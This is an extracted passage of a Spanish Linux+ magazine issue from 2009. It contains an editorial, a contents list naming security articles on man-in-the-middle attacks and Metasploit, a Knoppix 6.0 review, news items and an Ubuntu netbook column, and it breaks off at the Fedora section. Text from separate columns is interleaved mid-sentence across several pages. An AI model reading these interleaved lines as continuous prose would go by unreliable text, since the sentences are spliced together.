Sunteți pe pagina 1din 92

a modo de introducción

¡Qué excitante es la vida!

¡Qué excitante es la vida!

E
l despertador sonó a las seis y veinte igual que todos los días
de trabajo. Lo primero que pensé era: ¿y si duermo unos diez
minutos más? Y, como siempre, me quedé en la cama hasta
las siete. Sólo después de tomar una ducha era capaz de abrir
los ojos (es decir, levantar los párpados de manera que vea el mundo).
Y de repente, a pesar de sentirme extremadamente cansada y sin ganas de
salir de casa, a pesar de tener solo diez minutos para arreglarme y preparar
el desayuno, me paré un momento y pensé, sin darme cuenta: ¡Qué exci-
tante es la vida! Y volví a prepararme para salir pensando sobre todo lo
que tenía que hacer durante las próximas diez u once horas.
Ese momento, un segundo apenas, no me lo pude sacar de la cabeza
durante varias semanas. Sí, la vida es excitante. Lleva muchas sorpre-
sas, nos enfrenta cada día a situaciones difíciles, nos hace tomar deci-
siones que a primera vista parecen malas (o aun dañinas) para nosotros
o nuestros colaboradores, amigos y familia, pero después de poco tiem-
po resultan acertadas y provechosas.
La vida lleva muchas contradicciones de este tipo. Lo malo resulta
bueno y al revés. Las personas que son extremadamente idealistas, con

Sí, la vida es excitante. Lleva muchas


sorpresas, nos enfrenta cada día a situaciones
difíciles, nos hace tomar decisiones que
a primera vista parecen malas
un modo de pensar que no comparten con el resto del mundo, no pocas
veces resultan ser geniales inventores o proveedores de nuevas teorías
que revolucionarán el mundo.
Una contradicción más es que el fin significa, sobretodo, un co-
mienzo. Acabar una aventura es empezar otra. Todo depende de nuestro
punto de vista o, en otras palabras, de cómo queremos ver las cosas.
Tras esta introducción muy larga he llegado a lo que quería deciros:
se acaba mi aventura con LiNUX+. Es la última vez que me dirijo a vo-
sotros y espero que el último año lo hayamos pasado muy bien juntos.
Quería agradeceros cada correo, teléfono, sugerencia y crítica. He apren-
dido mucho de vosotros, espero que vosotros hayáis aprendido algo de la
revista. Pero, según lo escrito antes, este fin empieza una nueva aventura
en mi vida. Lo que deseo para mí misma es que sea por lo menos tan
exitosa como mi trabajo para LiNUX+. El número que tenéis en manos
es sobre gráfica y diseño web. Temas no muy linuxeros pero muy actuales
y de moda. En la sección principal os proponemos dos artículos interesan-
tísimos. Uno, escrito por Yaiza Temprado Rodríguez, es sobre personali-
zación de Google Maps. Si vuestros amigos o clientes tienen problemas
de localizar vuestra oficina o empresa, este artículo está dedicado en pri-
mer lugar a vosotros. El otro, escrito por José María Gómez Hidalgo, se
situa al borde entre un artículo sobre diseño web y seguridad. Ya veréis.
Después de recibir muchos emails pidiéndonos textos sobre hac-
king, hemos desarrollado esta sección notoriamente. El resto de las
secciones no las voy a describir. ¡Qué sean una sorpresa!
Una vez más quiero agradeceros vuestra colaboración y paciencia
en leer estos editoriales. Y, sobre todo, desearos mucha suerte. Os veo
en mayo, aunque ya solo como lectora de la revista.
Aleksandra Tęsiorowska
Redactora de LiNUX+

www.lpmagazine.org 3
índice

En este número

descripción de DVD software

6 Knoppix 6.0
Hector Colina
28 Debian Lenny 5.0: La última versión
estable del sistema operativo libre
Leonel Iván Saafigueroa
Gracias a veintidós meses de desarrollo constante, y luego de postergar
novedades la fecha de lanzamiento varias veces, apareció una nueva versión estable
del sistema operativo libre por excelencia.
8 Noticias
Equipo de Linux+

10 Ubuntu
Francisco Javier Carazo Gil

12 Fedora
Diego Rivero Montes

gráfica y diseño web

14 Cómo crear mapas con el API


de Google Maps e integrarlos en tu página web
Yaiza Temprado Rodríguez
La comodidad y flexibilidad de uso de los mapas de Google hacen que cada
vez más gente quiera poder integrarlos en sus páginas web, poder persona-
32 Desarrollo de sistemas complejos
Lino García Morales
lizarlos e interactuar con ellos. Sistemas complejos hace referencia a un, relativamente nuevo, campo
de la ciencia multidisciplinar que estudia cómo las partes de un sistema
dan lugar a comportamientos globales del sistema en interacción con su
entorno.

entrevista

36 SYS4NET:
Hosting de calidad máxima
SYS4NET es una companía dedicada a los servicios de alojamiento web
y registro de dominios, con infraestructura propia en España, en la que
aloja más de 20.000 páginas web.

22 Privacidad en Flickr
José María Gómez Hidalgo
Las redes sociales han convertido a la Web en un entorno realmente inte-
ractivo y social para todos sus usuarios. Hoy en día, cualquiera puede crear
contenidos en la Web, y compartirlos con todos sus conocidos.

hacking para linuxeros

38 Geolocalización IP
David Puente Castro
Localizar una IP a lo largo del globo terráqueo para saber en que país,
ciudad, región, latitud o longitud se encuentra alguien con el que chatea-
mos y desconocemos su paradero, no pasa de ser un mero juguete que
puede resultar divertido. Pero cuando se implementa dentro del código
de nuestro propio traceroute, entonces se convierte en un arma mucho
más poderosa.

4 Linux+ 4/2009
índice

Tema del número gráfica y diseño web

46 Ataques Man In The Middle: linux en la empresa


Su información en manos enemigas
David Puente Castro
Su información viaja a diario de un ordenador a otro. Está ciertamente
64 Software Libre, desde el aula a la empresa
Juan Pablo Tobar
acostumbrado a confiar en que llegará siempre a su destino. Pero... ¿se Hoy en día por cada área de administración de empresas existe una
ha preguntado alguna vez si alguno de estos ordenadores intermedia- amplia oferta de aplicaciones destinadas a mejorar la productividad de
rios puede estar controlando todo su tráfico en busca de información los profesionales a cargo. Sin embargo, la integración de software en la
sensible? gestión no es sólo de interés de las empresas, también lo es de las organi-
zaciones encargadas de preparar a los futuros profesionales del área.

54 Proyecto Metasploit programación


David Puente Castro
Metasploit es un proyecto libre que ha sido diseñado con el objetivo de
proveer una plataforma de trabajo a los desearrolladores de herramientas
72 Programando nuestro propio Editor de Texto
Jorge Emanuel Capurro
de seguridad y exploits. Es una estructura modularizada que permite En esta entrega, veremos las facilidades que nos provee Gambas para
una rápida elaboración de programas de ataque y análisis de vulnera- desarrollar un sencillo Editor de Texto. Para ello, daremos una recorrida
bilidades. sobre los fundamentos del lenguaje BASIC y sus estructuras, pasando
también por el manejo de archivos de disco.

conocimiento libre

60 La polémica del año: práctica


Extensión del Copyright en Europa
José Carlos Cortizo Pérez
El parlamento europeo debate sobre la posible ampliación de los dere-
84 Spike Proxy
David Álvarez García
chos del copyright, que pasaría de una duración de 70 años a 95, benefi- Spike Proxy forma parte de la suite SPIKE, un proxy para el pro-
ciando mayoritariamente a las discográficas que, gracias a las cláusulas tocolo Http / Https de código abierto usado para analizar las apli-
abusivas que hacen firmar a los artistas, son quienes poseen los derechos caciones web que nos interesen y su comunicación con los clientes
de las obras. Resulta paradójico que los políticos que deberían defender (navegadores); aplicación muy útil para desarrolladores y para entu-
el desarrollo cultural y el acceso a la misma, solo sean capaces de regirse siastas de la seguridad.
por los beneficios de unos pocos.

www.lpmagazine.org 5
descripción de DVD
DVD

Knoppix 6.0

E
n marzo del 2008, salía a la luz pú-
Listado 1. Contenido del archivo /etc/apt/sources.list de Knoppix 6.0
blica la última versión que se co-
nocía de Knoppix, la versión 5.3.1;
desde ese entonces ha transcurrido knoppix@Microknoppix:/etc$ cat apt/sources.list
casi un año para que una nueva versión saliese deb http://ftp.de.debian.org/debian experimental main contrib non-free
a la luz pública: Knoppix 6.0. deb http://ftp.de.debian.org/debian unstable main contrib non-free
Knoppix 6.0 puede ser considerado como deb http://security.debian.org lenny/updates main contrib non-free
un cambio de paradigma en cuanto a sus suce- deb http://ftp.de.debian.org/debian lenny main contrib non-free
sores en función de que Klaus Knopper ha dado deb http://ftp.de.debian.org/debian stable main contrib non-free
un vuelo a muchos componentes, desde el ma- deb http://security.debian.org stable/updates main contrib non-free
nejador de escritorios, hasta el sistema base. # Knoppix repository
deb http://debian-knoppix.alioth.debian.org ./
Sistema Base
En principio, la base de Knoppix 6.0 es debian,
por lo cual aprovecha gran parte de las aplica- con KDE en Knoppix, no obstante pensamos necesario actualizar las fuentes con aptitude
ciones empaquetadas para debian; por ejem- que Klaus Knopper realizó una jugada en update, luego de la actualización estará dispo-
plo, el archivo de configuración para la des- función de que Knoppix pudiese funcionar en nible openoffice.org-l10n-es.
carga de archivos luce de la manera presentada equipos de bajo poder cómputo.
en el Listado 1. Es interesante notar que Klaus Navegación
utiliza Alioth, plataforma de la comunidad de Aplicaciones Para navegar en Internet, Knoppix 6.0, trae in-
Debian para desarrollos que está al servicio de LXDE incluye PCMan File Manager 0.5 como corporado Iceweasel 3.0.5 con el plugin nos-
la comunidad GNU. manejador de archivos, aplicación bastante rá- cript activado (ver Figura 1) por defecto y para
pida que cumple el cometido de permitir exa- los que necesitan navegar en consola en algún
Aspecto Gráfico minar, mover, cortar, copiar o visualizar archi- momento, el paquete www-browser.
Knoppix 6.0 trae como escritorio LXDE, acró- vos graficos.
nimo de Lightweight X11 Desktop Environment, En cuanto a ofimática, se incluye Open- Accesorios
en su versión 0.3.2.1, ambiente de escritorio Office.org en su versión 3.0.1, con lo cual Knoppix 6.0 trae incorporado un lector cd pdf,
diseñado con el propósito de ser muy rápido, cualquier usuario de Knoppix tendrá en sus un editor de textos sencillos (leafpad), gnokii
ligero y que consuma pocos recursos; LXDE manos una estación de trabajo con una de las para sincronizar teléfonos celulares.
ha sido empaquetado para las distribuciones de mejores suites ofimáticas del mundo del soft-
Linux más importantes, tales como ArchLinux, ware libre, no obstante, un primer problema Accesibilidad
Debian, Fedora, Gentoo, Mandriva, Ubuntu, con el cual los usuarios hispanohablantes nos Knoppix 6.0 está pensado, es nuestra impre-
Xandros, SuSE, Slackware y otras más. podemos encontrar es que esta herramienta está sión, mayormente para usuarios con problemas
Este cambio puede desorientar a muchos en inglés y que para poder instalar los paquetes de accesibilidad, destacándose A.D.R.I.A.N.E.
usuarios que estaban acostumbrados a trabajar necesarios para que se configure en español, es (Audio Desktop Reference Implementation And
Networking Environment) una herramienta que
integra lo mejor del mundo GNU en esta mate-
ria, lector de menús, sintetizador de voz, mag-
nificador de pantallas y otros más; así mismo,
ADRIANE soporta dispositivos braille, tal vez
porque Klaus Knopper quizo desarrollar una
herramienta poderosa para su esposa Adrian-
ne (que posee debilidades visuales) y todas
aquellas personas que poseen discapacidades
visuales.

Recomendaciones
A continuación algunas recomendaciones que
se podrán utilizar a la hora de instalar Kno-
ppix 6.0:

• Por defecto, el sistema inicia A.D.R.I.A.


N.E., por lo cual sólo aparecerá un menú
con las opciones de Knoppix para que per-
sonas con discapacidades puedan utilizarlo
Figura 1. Iceweasel 3.0.5 con el plugin noscript activo por defecto de manera más sencilla (ver Figura 2).

6 Linux+ 4/2009
descripción de DVD
DVD

• Si desea convertirse en root, con escri-


bir sudo -s es suficiente.
• Si decide instalar el sistema, actualize los
fuentes con aptitude update, lo cual
le dará una mayor cantidad de paquetes
disponibles.
• Aun no está traducida en su totalidad al
español, por lo cual deberá usar paquetes
de debian nativos instalándolos con ap-
titude o con el gestor gráfico que posee
Knoppix.

Conclusiones
Quizás para los usuarios acostumbrados
a otras versiones de Knoppix, la 6.0 les parezca
un retroceso en cuanto a interfaz gráfica,
Figura 2. A.D.R.I.A.N.E
cantidad de paquetes disponibles y otros. No
obstante, es indudable el aporte que Knoppix Nota: Las pruebas de esta distribución fue-
6.0 da a todas aquellas personas que poseen ron realizadas en una portátil Asus PRO52RL,
Sobre el autor problemas de accesibilidad y que hasta hoy con procesador Duo T2330 de 1,60 Ghz, 2Gb
no tenían una distribución de Linux enfocada de RAM sobre una máquina virtual virtualbox
Hector Colina, evangelista del software lib-
en sus necesidades. 2.1.2, funcionando sobre Debian Lenny con
re con más de 12 años de experiencia en
Otro punto importante a considerar es lo kernel personalizado 2.6.28.
GNU, investigador en procesos de aprop
ligero de Knoppix 6.0 lo cual lo hace ideal para
iación y transferencia tecnológicas, obtuvo
instalar en portátiles mini, que abundan hoy día
una licenciatura en Teoría Histórica, vive
y que con el correo del tiempo han disminuido
en Mérida, Venezuela y es activo colabo-
rador en la comunidad de Debian y en los
enormemente el precio, quizás ésta haya sido En la red
una de las inspiraciones de Klaus Knopper al
grupos de usuarios de su país. • http://www.lxde.org/
reescribir Knoppix.

PUBLICIDAD

www.lpmagazine.org 7
NE WS
novedades
Noticias

2010: ¿El 70% de ordenadores en Asia Tecnología abierta


y América Latina con GNU/Linux?
María Dolores Gallego, Salvador Bueno para la siguiente generación de redes
A
(Universidad Pablo de Olavide) y Paula l margen de las telecomunicaciones, fiables y disponibles en tiempo real. En este
Luna (Universidad de Sevilla) elaboraron existen muy pocas industrias donde el pre- escenario, las empresas tienen a su alcance una
un estudio sobre el uso del Software Libre
para la revista Technological Forecasting cio haya tenido cambios tan dramáticos desde la completa oferta de servicios que pueden alqui-
& Social Change. Las conclusiones del concepción del plan de negocio que dio origen a lar y pagar por uso, lo que les aporta enormes
informe son bastante sorprendentes: supo- las empresas hasta la situación real del mercado. ventajas económicas, operativas y tecnológicas,
nen que para 2010 la adopción de software Además, los operadores de telecomunicaciones particularmente en época de crisis. Basta con una
libre en América del Sur y Asia se situará
próximo al 70%, destacando especialmente han de ir varios pasos por delante de sus clientes conexión IP para acceder a tecnologías de última
la implantación en el sector educativo. en la construcción de sus redes, como requisito generación en cualquier momento y lugar.
Como escribe Cibersur.com, en el trabajo, imprescindible para poder satisfacer la demanda Gracias al crecimiento del ancho de banda
cuya finalidad ha sido medir el creciente de servicios. Y las decisiones tecnológicas, que y a los ahorros en equipos que propicia tal esque-
interés hacia el software libre, se aúnan
las opiniones de 18 expertos en la materia, para un usuario de empresa siempre tienen ma, podemos esperar una rápida expansión de es-
tanto del ámbito académico como profesio- cierto riesgo, en el caso de los proveedores de te modelo de negocio. Las empresas asumen cada
nal, valiéndose del método Delphi. A través telecomunicaciones marcan la diferencia entre vez más las ventajas de centrarse en su negocio
de esta herramienta, diseñada para obtener ser viable o no. y encomendar la gestión de redes y servicios
el consenso de opinión más fidedigno entre
miembros de un grupo, se sometió a los Una de las decisiones más importantes que asimilados a compañías experimentadas, que
expertos a dos rondas de preguntas. ha de tomar un operador es elegir bien a sus comprometen niveles de calidad y fiabilidad por
Fuente: http://www.cibersur.com/modules.p proveedores tecnológicos. Cuanto más complejo contrato. De hecho, ya se aprecia cierto resurgir
hp?name=News&file=article&sid=12344 es el servicio que quiere prestar, mayores posibi- de los ASPs en áreas como la telefonía IP o servi-
&theme=Cibersur&ref=63
lidades existen de que ningún fabricante pueda cios verticales. Estamos en la era de la movilidad
Cuba apoya plenamente proporcionar la solución técnica en su totalidad. y la convergencia, con la vista puesta en acceder
los proyectos de Software Libre
Normalmente se especializan en un campo con- a cualquier contenido, desde cualquier lugar
En febrero tuvo lugar la Feria de Informática
en La Habana, Cuba. Se presentó entonces creto y, aunque intentan complementar su oferta, y con cualquier dispositivo. Los servicios se des-
Nova, un nuevo sistema basado en Linux co- siempre hay quien hace mejor determinada tarea. ligan de los activos físicos a los que han estado
mo parte de la apuesta oficial por el software Si se necesita garantizar la interoperabilidad en- unidos durante décadas y se rompen las barreras
libre y su defensa de la soberanía informática tre equipos y sistemas diferentes y además se re- que impedían la convergencia de sistemas fijos
en la isla.
Nova fue creado por estudiantes y profesores quieren sistemas de gestión y soporte para la so- y móviles, Wi-Fi y GSM, voz y datos,… Todo es
de la Universidad de las Ciencias Informáti- lución, entonces es imprescindible utilizar están- convergente, más móvil y más flexible. La infor-
cas de La Habana (UCI) y su misión es faci- dares abiertos. mación está en la red, no en un equipo concreto.
litar el proceso de migración del Windows al Hace algunos años, Interoute decidió apostar La virtualización se traslada al mundo de
software libre que comenzó el país en 2005.
Angel Goñi, líder del proyecto, explica que claramente por la voz sobre IP (VoIP). En estos las telecomunicaciones, donde las nuevas redes
el sistema permite utilizar aplicaciones mo- momentos parece una decisión lógica, a la vista ya están preparadas para compartir plataformas
dernas en una interfaz sencilla y trabajar con de que la inmensa mayoría de los fabricantes de y recursos entre muchos usuarios. En Interoute
las máquinas obsoletas que todavía abundan centrales de conmutación utilizan IP internamen- llevamos varios años trabajando en ello.
en la isla. Cuba, por el bloqueo (estadouni-
dense) y toda la situación económica, todavía te y todos sus desarrollos van por ese camino La abstracción de recursos está ahora más
tiene en funcionamiento computadoras que y las ventajas que aporta esta tecnología son muy cerca de los usuarios en forma de servicios ges-
en otros lugares del mundo son basura. atractivas. Pero hace unos años no estaba tan cla- tionados y afecta a más ámbitos de las TIC. Me-
Se estima que un 20% de máquinas cubanas ro que una plataforma VoIP pudiese crecer para nor o nula cantidad de máquinas en las instalacio-
trabajan bajo Linux, pero, según un estudio
oficial, dentro de unos años este número mantener el brutal tráfico de voz que un operador nes del usuario y más servicios que residen en la
aumentará a un 50%. necesita. Esta plataforma cursa hoy 100 millones Red, para que los recursos estén disponibles en
Fuente: Anett Ríos, http:// de minutos de voz por mes y, en su arquitectura, cualquier momento y lugar. Se trata de una orien-
www.ultimahora.com/notas/195762-Cuba-se- ha sido imprescindible utilizar estándares abier- tación a los servicios –el mercado de software de
lanza-de-lleno-al-mundo-del-software-libre
tos como SIP, docenas de servidores Linux y la virtualización crece desde los 560 millones de
1234567890 conexión de múltiples centrales de conmutación dólares de 2005 a 1.800 millones en 2009.
El viernes, 13 de febrero de 2009, el reloj de y pasarelas de acceso mediante una red IP MPLS Los sistemas que constituyen las redes cada
Unix llegó al especial número 1234567890.
Como explica DiarioTI, todos los sistemas que cubre 54.000 kilómetros de fibra en Europa. vez incluyen hardware más programable. El
Unix y derivados están provistos de un reloj Las Redes de Siguiente Generación (NGN, software gana en importancia, incluso a nivel de
interno que cuenta el número de segundos Next Generation Networks) que han entrado en circuitos integrados y PICs (Photonic Integrated
desde la medianoche del primero de enero de funcionamiento en los últimos años llegan a un Circuits). Mediante herramientas de virtualiza-
1970, UTC (Coordinated Universal Time). El
sistema es denominado Unix Time o POSIX- mercado que, a nivel de infraestructuras, se llegó ción y partición, las empresas pueden disponer de
Time. La hora 1234567890 se celebró alrede- a decir que rozaba la saturación. Sin embargo, recursos escalables según sus necesidades. De
dor del mundo el 13 y el 14 de Febrero. aportan un elemento clave para la competitivi- nuevo hablamos de sistemas y estándares abiertos.
Fuente: http://www.diarioti.com/gate/ dad: la inteligencia. José Manuel Armada
n.php?id=21218
Sobre estas redes inteligentes se han des- Director de Ingeniería de Clientes,
plegado aplicaciones novedosas, interactivas, Interoute Iberia

8 Linux+ 4/2009
NE WS
novedades
Noticias

Los tiempos están cambiando Ubuntu deja de ser


una distribución hogareña

D icen que los tiempos están cambiando, En primer lugar: sí que existen virus para Ubuntu deja de ser una distribución
utilizada en hogares. Tampoco es una
y se lleva oyendo desde que el mundo Linux. Muy pocos, y, si el sistema está bien
distro que se utiliza en ordenadores
es mundo. Sin embargo, en algunas áreas los parcheado y administrado, sin posibilidad de de sobremesa. Canonical realizó una
tiempos YA han cambiado. En lo que se re- propagación efectiva. Pero existen, y pueden encuesta, gracias a la cual nos enteramos
fiera a los sistemas operativos en PC, cuando hacer daño. Los usuarios que no distingan la de que la mayoría de las casi 7.000
empresas encuestadas están utilizando
Linux empezó a despuntar estaban cambian- cuenta root de guest, deben tener un antivi-
Ubuntu Linux en trabajos de misión críti-
do los tiempos. Hoy, Linux no es un proyecto rus instalado en su sistema. ca que normalmente se ejecutan en servi-
de futuro, es presente. Seguimos: los ataques a Linux son tan fre- dores, como seguridad de correo electró-
Algo similar pasó hace unos años, cuan- cuentas como en Windows. Sí, lo son, que nadie nico, routing, clustering, virtualización,
backup de datos o bases de datos.
do los virus cambiaron de rumbo. En lugar se eche las manos a la cabeza: Linux necesita
Ahora solo cabe preguntar: ¿Cuándo
de ser código ejecutable puro y duro, las un cortafuegos, al igual que lo necesita cualquier Ubuntu sustituirá a Red Hat y se conver-
amenazas informáticas empezaron a cambiar sistema conectado a Internet. En la práctica tota- tirá en el líder de Linux para el mercado
y a dedicarse al robo de datos y al engaño. lidad de las distribuciones hay uno incluido, empresarial?
Fuente: Rosalía Arroyo, http://
Los tiempos están cambiando, decíamos así que basta con tenerlo en marcha.
www.vnunet.es/es/vnunet/news/2009/02/
los profesionales de la seguridad en 2004, El spam: el spam no es un tema de un deter- 05/ubuntu_entra_en_las_corporaciones
2005, 2006… Y ya estamos en 2009. Seño- minado sistema operativo. Todo aquel que tenga
JoliCloud, nueva distribución
res: los tiempos han cambiado. Hace tiempo una cuenta de correo electrónico, tarde o tem-
diseñana para ultraportátiles
el tener Linux instalado era una garantía de prano recibirá spam en su Mac, en su WinPC Tariq Krim, el ex CEO de Netvibes,
seguridad, mientras que hoy en día no lo es. o en su OS/2, me da exactamente lo mismo. Si acaba de desarrollar una nueva distribu-
Los tiempos han cambiado. no se quiere tener un buzón lleno de ofertas de ción Linux para ultraportátiles, nombrada
JoliCloud. La distro trae una fuerte
Desde hace mucho tiempo he afirmado viagra, hay que instalar un sistema antispam.
integración con las aplicaciones cloud
que el mayor agujero de seguridad de un siste- Y por último: existen soluciones que computing. La interfaz ha sufrido de una
ma es el dedo índice del usuario. El dedo que aúnan todas esas protecciones en una aplica- simplificación y orientación hacia la web
hace click en un enlace incorrecto, el dedo ción. Sé que muchos usuarios no quieren ni que mejora la experiencia del usuario,
además se ha logrado una reducción de
que hace click en un Aceptar en lugar de Can- oír hablar de programas de este tipo, pero en
los tiempos de arranque.
celar. Y ese dedo lo va a hacer exactamente el mercado existen y son muy necesarios. So- Fuente: http://www.desarrolloweb.com/
igual en un maravilloso Ubuntu o en un Win- lamente la inconsciencia y el error de pensar actualidad/jolicloud-nueva-distribucion-
dows 95 sin parchear. Linux es perfecto pueden llevar a la catástro- linux-para-netbooks-1402.html
La necesidad de un sistema de seguridad fe a un usuario no experto. En 2009 los operadores españoles
siempre se ha entendido como un antivirus. Los tiempos están cambiando, y el cambio más grandes venderán móviles con Linux
Posteriormente se añadió un cortafuegos, un debe llegar a todo el mundo. Hay que prote- Orange, Telefónica y Vodafone, entre
otras, han anunciado que en 2009 quieren
anti spam, un antinosequé… Y los usuarios ger la información, y Linux no lo va a hacer
vender móviles con Linux. Todas ellas
de Linux tan contentos con su cortafuegos. por arte de magia, sino porque tiene herramien- pertenecen a LiMo, fundación de Linux
Se basaban en unos conocimientos que hoy tas que lo protegen adecuadamente. Usémoslas, inalámbrica. Telefónica hará lo propio
en día no tienen los usuarios de Linux. y lo más importante: hagamos que los usuarios y venderá terminales que compitan con
los sistemas operativos de Nokia, Apple,
Entre todos los que podamos tener más a los que tengamos que aconsejar las usen. Que
Microsoft y Google. (...) En el mercado
conocimientos de sistemas, debemos empe- no pase como con las copias de seguridad, que hay algunos dispositivos que utilizan
zar a derrocar las ideas instauradas como siempre se dice que es básico y… ¿cuándo fue LiMo y han sido fabricados por firmas
inamovibles, que van a perjudicar a los nue- la última vez que hizo un backup de su sistema? como NEC, Panasonic o Motorola.
Fuente: Manuel Moreno, http://
vos usuarios de Linux. Ontinet.com
www.vnunet.es/es/vnunet/news/2009/02/
09/las_principales_operadoras_vende-
ran_moviles_con_linux_en_2009

EVE Online abandona Linux


Uno de los Multijugadores Masivos
de CCP, EVE Online, decidió abandonar
su versión para Linux. EVE online no
continuará ofreciendo soporte para la edi-
ción del juego compatible con Linux. Gra-
cias a esta decisión se mejorará la versión
para MAC, que fue lanzada en oviembre
de 2008.
Fuente: http://www.meristation.com/
v3/des_noticia.php?id=
cw499010452c02cπc=GEN

Página de LiMo Foundation

www.lpmagazine.org 9
novedades
Ubuntu sección llevada por Francisco Javier Carazo Gil ubuntu@lpmagazine.org

La distribución
más popular de 2008 UNR 9.04, Ubuntu oficial para miniportátiles
Posiblemente muchos lo suponíais
ya, pero como siempre es bueno tener
datos para poder afirmarlo con mayor
E xisten todavía muchos nombres para lla-
mar a esa familia de equipos portátiles
iniciada por Asus con su modelo Eee PC. El
bian, pero una gran cantidad de distribuciones,
algunas creadas por la propia Canonical, están
derivadas a su vez de ella.
seguridad y objetividad. Según el informe
que elabora cada año Distro Watch, portal término más utilizado a día de hoy es netbook Existen varias distribuciones derivadas de
dedicado a todas las distribuciones de aunque existen otros como UMPC, miniportátil Ubuntu orientadas a este segmento, algunas más
GNU/Linux, BSD y Solaris; Ubuntu ha o portátil ultracompacto. La verdad, es que el concretamente orientadas al Asus Eee PC, como
sido la distribución más popular a lo largo
de 2008. Aunque hace ya algo de tiempo
nombre que termine estandarizándose de facto Ubuntu Easy Peasy, el modelo que inauguró esta
que pasó esta fecha, nunca viene mal en un futuro que supongo, será cercano, tendrá idea. En realidad, funcionan sobre los demás mo-
recordar este tipo de noticias que al fin otro nombre muy asociado a él: Linux. Y es que delos y marcas, pero a priori, tienen un mejor so-
y al cabo, suponen algo así como un para todos nosotros amantes en mayor o menor porte para este modelo en concreto, sobre todo en
premio a la regularidad a lo largo de un
año. Para quienes no tengan claro la pro-
medida de GNU/Linux, el nombre de nuestro cuestiones relativas al hardware y a la adaptación
cedencia de los datos, deciros que aunque sistema operativo favorito siempre está relacio- del escritorio al entorno en que se muestra, las
posiblemente los de DistroWatch verdad nado con los PCs, ya sean portátiles, ultraportá- pantallas reducidas de tamaño. Linux4one, está
absoluta, sí son uno de los mejores tiles o equipos de sobremesa. Sin embargo, para también basado en Ubuntu pero está orientado al
documentados que podemos encontrar
en la red. Un buen síntoma sin lugar
la mayoría de usuarios de PCs que son usuarios modelo de Acer, Aspire One. Hemos hablado en
a dudas para una distribución que está de toda la vida de Windows, será la primera vez anteriores entregas de esta revista, en esta misma
ya en fase de madurez y que sin embargo que hayan visto equipos en los centros comer- sección, de algunas como por ejemplo Ubuntu
sigue creando seguidores. La clasificación ciales y tiendas especializadas a gran escala con Easy Peasy u otras de las que no hemos hablado
final quedó así:
• Ubuntu,
distintas distribuciones de GNU/Linux. pero que tienen ya su propia base de usuarios
• OpenSUSE, La verdad es que el mérito completo no es y colaboradores como eeeXubuntu o Linux4one .
• Linux Mint, sólo de las distribuciones en sí, sino del fracaso Como decíamos, Ubuntu tiene ya varias
• Fedora, de Microsoft con Windows Vista, un sistema distribuciones derivadas orientadas a este tipo
• PCLinuxOS,
• Debian,
operativo incapaz de ejecutarse decentemente de equipos pero ninguna oficial. Sin embargo,
• Mandriva, en este tipo de equipos de reducidos precio Canonical, la empresa matriz de Ubuntu ha de-
• DreamLinux, y dimensiones, y también reducida potencia hard- cidido crear una distribución, fomentada por la
• Sabayon, ware en comparación con sus hermanos mayores. propia empresa matriz, de nombre Ubuntu 9.04
• Damn Small Linux.
Al final, como casi todos sabréis, Microsoft se ha Netbook Remix, que ocupará este sector con el
Ubuntu, también en las empresas visto obligada a alargar la vida de su ya anciano apoyo de la propia Canonical, al igual que ocurre
Desde la creación de Ubuntu Server, dos XP unos cuantos años más, para que esté dispo- en sus respectivas áreas con Kubuntu, Xubuntu
de los objetivos principales de Canonical
eran hacer a Ubuntu rentable a través de los
nible en este sector mientras sale a la luz el espe- o el CD educativo de Ubuntu.
ingresos que podía generarle esta división radísimo Windows 7. Se espera que Windows 7 Es de vital importancia este paso, puesto que
de la distribución y por supuesto, buscarse mejore a Vista en todo y muy especialmente en muchos fabricantes, eligen distribuciones que es-
un hueco dentro de las grandes corporacio- no ser un devorador de recursos hardware como tán soportadas por empresas de cierta relevancia
nes como algo más que una distribución
para equipos de escritorio. Aunque muchos
ningún otro sistema operativo de uso comercial para que las incorporen por defectos sus equipos,
han criticado en algunas ocasiones, las en toda la corta pero intensa vida de la compu- como es el caso de Linpus para el Acer Aspire
modificaciones que Canonical ha realizado tación. One. Ningún fabricante de hardware, se arriesga
sobre el núcleo Linux, parece que la esta- Como en todas las áreas en las que se a instalar por defecto con licencia OEM (aunque
bilidad no se ha comprometido tanto como
algunos podían creer y a día de hoy, sí es
especializan las distribuciones, ésta no podía gratuita) un sistema que está soportado por una
verdad que Ubuntu Server se ha convertido ser otra y desde el momento en que comenzó comunidad de usuarios sin tener una empresa
en una alternativa real a otras distribuciones a popularizarse este tipo de equipos, miembros que la respalde. En el caso de las distribuciones
clásicas en este campo, como Red Hat. Sin de la comunidad de Software Libre comenza- derivadas de Ubuntu hasta ahora, esto era lo que
embargo, todavía queda mucho para llegar
al nivel de la distribución del sombrero.
ron a desarrollar distribuciones especializadas pasaba, pero a partir de ahora posiblemente, gra-
para netbooks. Hablamos de distribuciones en cias a la fama y al renombre que está cogiendo ya
Ubuntu Mobile usará QT en lugar de Gnome las que el interfaz gráfica está especialmente el nombre Ubuntu, esperemos que los fabricantes
A diferencia de la versión para escritorio,
parece que Canonical se ha decantado por
adaptada a las pequeñas pantallas, de entre 7 empiecen a instalarla por defecto en sus equipos.
el binomio QT/KDE para la versión de y 11 pulgadas, y también el software que traen El hecho de que las empresas de hardware
Ubuntu destinada a dispositivos móviles. incorporado está orientado a las funciones que puedan elegir a esta distribución como el sistema
La versión actual sí usa Gnome, pero debi- suelen cumplir estos equipos: navegación, co- operativo predefinido para las versiones con
do a problemas con el soporte de distintos
tamaños de pantalla y a que Nokia licencia-
rreo electrónico, mensajería instantánea... GNU/Linux de sus equipos de bajo coste, es una
rá QT bajo LGPL, la opción de QT parece Como muchos de vosotros sabéis, la mayor cantera más, de usuarios que a todos los usuarios
cada día más clara. Además, hay que tener parte de las distribuciones nacen a partir de otra de las distintas versiones de Ubuntu en concreto
en cuenta el apoyo y las mejoras que pueda distribución, que en muchos casos a su vez de- y de Linux en general, beneficiará. Por cierto, co-
aportar Nokia a QT en cuestiones propias
de movilidad.
riva de una tercera, y en ocasiones, incluso se pue- mo habréis visto en el nombre de la distribución,
de suceder esta cadena en más niveles. Ubuntu la versión estable saldrá a la vez que la versión en
es de hecho una distribución derivada de De- la que está basada, Jaunty Jackalope.

10 Linux+ 4/2009
Si no puedes leer el disco DVD
y no notas ningún tipo de deterioro
mecánico, por favor, pruébalo en al menos
dos unidades de disco diferentes.

4/2009

En caso de problemas, escribir a: dvd@lpmagazine.org


novedades
Fedora sección llevada por Diego Rivero Montes linux@lpmagazine.org

¿Fedora en versión rusa?


Como se puede leer en los últimos tiempos Cambridge
en los mundos de Internet, al parecer y con
muchas posibilidades de ser verosímil. Por lo
que se desprende de tal anuncio la República
C on una semana de retraso sobre lo previsto
vio la luz la nueva versión de Fedora, Fe-
